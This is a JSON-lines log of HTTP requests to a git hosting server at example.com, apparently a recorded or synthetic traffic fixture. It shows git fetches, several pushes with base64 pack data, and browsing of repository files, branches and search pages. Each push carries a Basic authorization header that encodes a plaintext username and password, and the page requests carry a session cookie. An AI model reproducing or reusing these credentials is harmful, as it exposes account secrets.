{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 223"], "body": "0011command=fetch001aagent=git/2.49.1-Linux0016object-format=sha10001000dthin-pack000fno-progress000dofs-delta0032want 025ecb5715ad88750bc8944ae3ee0023776b08a3\n0032want 025ecb5715ad88750bc8944ae3ee0023776b08a3\n0009done\n0000"}
|
|
||||||
{"method": "GET", "target": "/alice/tools.git/info/refs?service=git-receive-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 1195"], "body": "MDBiNTAyNWVjYjU3MTVhZDg4NzUwYmM4OTQ0YWUzZWUwMDIzNzc2YjA4YTMgYmJlNTIyM2E5YTRmODRlN2MzZDcyMDZmNGJkZDA2MjIzOWU4MzA5YiByZWZzL2hlYWRzL21haW4AIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAA+YDXiclYtbCsIwEAD/c4r8C7J5bLMFEXuUzWaLgVZLmoLHtx7B+RkYmN5UrRTyOCtLiSKEgCPMPnoix7FIRBiT5hSd2bjpq1vwqJIxOeRClBCy0Bgja1AF8CGlIQNxMHz057vZaami9sY/PfTD67boVd7r3bo0xkAOh8Fe4MScda2961+TmUqx+ahLsbu0uvXdfAHWnz/YoRR4nDM0MDAzMVHQS88syUzPyy9KZTiU2lsrbdjSY104jdX5NHPG05wrxw2hqjJKEpOTU4uLGaIm9ecuijp2bVeqB3fZBavC0xMSLaCKglwdXXxd9XJTGIra7y45/9VpvTvn0Xl2Kzsfiq1znAJVFJ1SlJhWEgtS9fmKeemzqGM9rJ0rpsnMS4t74ZzpYmIABApJmXkMS35PtDvsY3r29PzXKw5bNU9ZxpERBzUjJT85O7VINzk/tyC/OFWvMjeHQWd5y3flxTNnR91tzrz0g3Vzj8LbmxCzgIqLGfhebpt28ZJ3sYB3caHp4gO26QUZiyDSxclFmQUlxQxfH11qDNt8SW+e8ule1UMm87rDHz6HqihKZkjJPfl/b6+HvVWbwP4LLHLrGh0WWwIAQ5+D9D54nMvLT0mNz81PKc1JLdbnAgAqqgU4sQF4nPMvKMnMzytW0PXMS0mtSC3mAgA5BQYUNnicSylKTCvhAgAIQAIcrQJ4nDM0MDAzMVFIyU/OTi3STc0rKaosyM/MK2EwlNlx2uGU5d7E5T2We5qlPpa4xEUBAGp2Eai0AXicU1bUT8rM0y/O4EqtSE1WUFJxUOICADrbBTiyAnicK04tKstMTi224lJQKE9NAlEKCpm5iempVgp56Zl5FVwAvLIKdq8CeJwzNDAwMzFRyEosS9TLScxL1wsuKcoEUrkpDDqcykduszK1ZnX7O/2+3DJ3wducWABo9hG0OXicU1YILinKzEvnAgANQQLFqQV4nDM0MDAzMVHIzCsuSczJ0S1OLsosKNErzmA4WsLziFHnpxzTZC5LhjXrhBeuDpcyhCguqCzJyM8z1k3OSE3O1iuoZNjBZ6S0Ws37+qnf5umeeyUa/a+llwEAQ3sf9roBeJxTVtRPyszTL87gSk3OyFfIzCsuSczJycxL5wIAbs0Ivzx4nCsoyswr0VDKyFTS5AIAHBwDnqwCeJwzNDAwMzFRKCjKT04tLtZLzSvTS9ErKWZoZrzwV9ki/dEqV+5di3c4P5qYE/gAAFOgEcS7AnicS0lNzkksSlVIzs8rLlFIzSuzUghKTc4vSrEpLinKzEvXUYDQdtZcAF6zD3MdeaAnWyIMS8cNQ71Ry9eDVrG43w=="}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 617"], "body": "MDBjMjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZjdmZmE2MDM5NmQ5OWY2MTMxNWE1YTlhMjI1ZmMzMmViNjIyOGZkYiByZWZzL2hlYWRzL3B5dGhvbjMtbWlncmF0aW9uACByZXBvcnQtc3RhdHVzLXYyIHNpZGUtYmFuZC02NGsgcXVpZXQgb2JqZWN0LWZvcm1hdD1zaGExIGFnZW50PWdpdC8yLjQ5LjEtTGludXgwMDAwUEFDSwAAAAIAAAAElg14nJWNSwoCMRBE9zlF7wVJ0j35gIgewEMk6Q4OzJhhiKK3Nx7B2hS8R1F9F4GKwoGzUAmFinHOMCUO1gyKjrC6yDb6qLa0y6NDzjJZiykmqoHEF2RvtauUmbUbJkpAHbNKz35vO1yXuQic0q8u8k7rtsixtPUMxkfCYCbn4aBH1KDr3Lv8NVK39hLoDbbP+Hug+gLJoT+v+gPNgl/qzUzIUFkPJCiBpNxFCX63QXicO8h0kGkDP6NRbPrloHwvB+O3XZczPxVe7CwzvnPLxAAIFIqLkhlSck/+39vrYW/VJrD/AovcukaHxZYA3WMY768HeJwzNDAwMzFRyMwrLknMydEtTi7KLCjRK85gOFrC84hR56cc02QuS4Y164QXrg6XMoQozs1ML0osSdUrqGTYKb5c7aT9BD1nTdkJnNc8mluFrdOhqgoqSzLy84x1kzNSk7NBanfwGSmtVvO+fuq3ebrnXolG/2vpZQCoeiylOXicKyjKzCvRMNTkAgAQzwK6yhVHjb1hxkRjVbbQfVlakFC62Bw="}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 475"], "body": "MDBjNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgNGI1ZWMxYWFiNjUyNzJiNjNiNWIxZjM5YmZjMmMxNDY4NGMwNjNhMCByZWZzL2hlYWRzL2ZlYXQvZG9ja2VyLXN1cHBvcnQAIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAAOVDXiclYtbCsIwEEX/s4r8CzLNswERC25kJjODxdaWEMHlW5fg/TlwDrc3EesIQyoeoOQQaXCclFExhsqOKEQFUFJwZscmr26JJDrnsWDQMUiunrODpIGYIR2lyOihkMF3f2zNTstcxV7wh5t8cN0XOddtvdohl+DHIaZsT3DMHHade5e/TmZitvetPqXpvIj5AnIRP0P5As2CX+rNTMhQWQ8kKIGk3EUJfrdBeJw7yPScaUKQvEt+cnZqUVpmTipD+l/zCRITa+JfuB2Sut6UzLn8RVLLRO9vAGSzEms8eJxzC/L3VUjMKcjMS+UCABjGA9h6SWeBbtf5prUzWzGtbNHU1VZzAQ=="}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 218"], "body": "MDBiNjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgYmJlNTIyM2E5YTRmODRlN2MzZDcyMDZmNGJkZDA2MjIzOWU4MzA5YiByZWZzL3RhZ3MvdjEuMC4wACByZXBvcnQtc3RhdHVzLXYyIHNpZGUtYmFuZC02NGsgcXVpZXQgb2JqZWN0LWZvcm1hdD1zaGExIGFnZW50PWdpdC8yLjQ5LjEtTGludXgwMDAwUEFDSwAAAAIAAAAAAp0IgjvYqOq1EK1qx1yCPP0+0x4="}
|
|
||||||
{"method": "GET", "target": "/alice/powershell-scripts.git/info/refs?service=git-receive-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/powershell-scripts.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 397"], "body": "MDBiNTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZGQxYzIyM2RjZWI1NDQxMjdiNzhjZGMyYTZjZTM1NmY4ZWQ5NGYyZCByZWZzL2hlYWRzL21haW4AIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAAObCXiclYtRCsIwEAX/c4r9FyTbmO0GRPQoSXzBQGOlrODxrUdwfgYGxjaARNsEbjJ5pCRVYp0DtxCKIkfPUqLXO6O4/LbHutFt6RV0zj9d8cnjteBY13EhntMpKEdROvgdt9fRzfDX5Pqzm/sCJg8twKUCeJwzNDAwMzFRCHJ1dPF11ctNYXDttjkS9vTmppsC4WHfVpXW8TJZuQIA3ioNSjp4nFNWKE4uyiwoKeYCABGaA1YUrPZOD6Y21E0qY7z1OfdB9DOSug=="}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 212"], "body": "0014command=ls-refs\n001aagent=git/2.49.1-Linux0016object-format=sha100010009peel\n000csymrefs\n000bunborn\n001bref-prefix refs/heads/\n001fref-prefix refs/heads/main\n001aref-prefix refs/tags/\n0014ref-prefix HEAD\n0000"}
|
|
||||||
{"method": "GET", "target": "/assets/js/activity-heatmap.514f8f16.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/bin/docker-entrypoint", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/src/process.env.d.ts", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/docs/java.lang.String.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/%5Bdraft%5D.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/raw/branch/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/raw/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/blame/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/feat/docker-support/Dockerfile", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/tags", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/activity", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/repo-activity-top-authors-contributors-graph-code-frequency-graph-recent-commits-graph.2afcdb46.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/repo-activity-top-authors.0b8b147c.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/graph", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/compare/main...python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/dropzone.5a752d14.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/dropzone.265e21d7.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/tag/v1.0.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/archive/main.zip", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: session=d65379616ffd0971; lang=en-US", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/repos?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/code?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
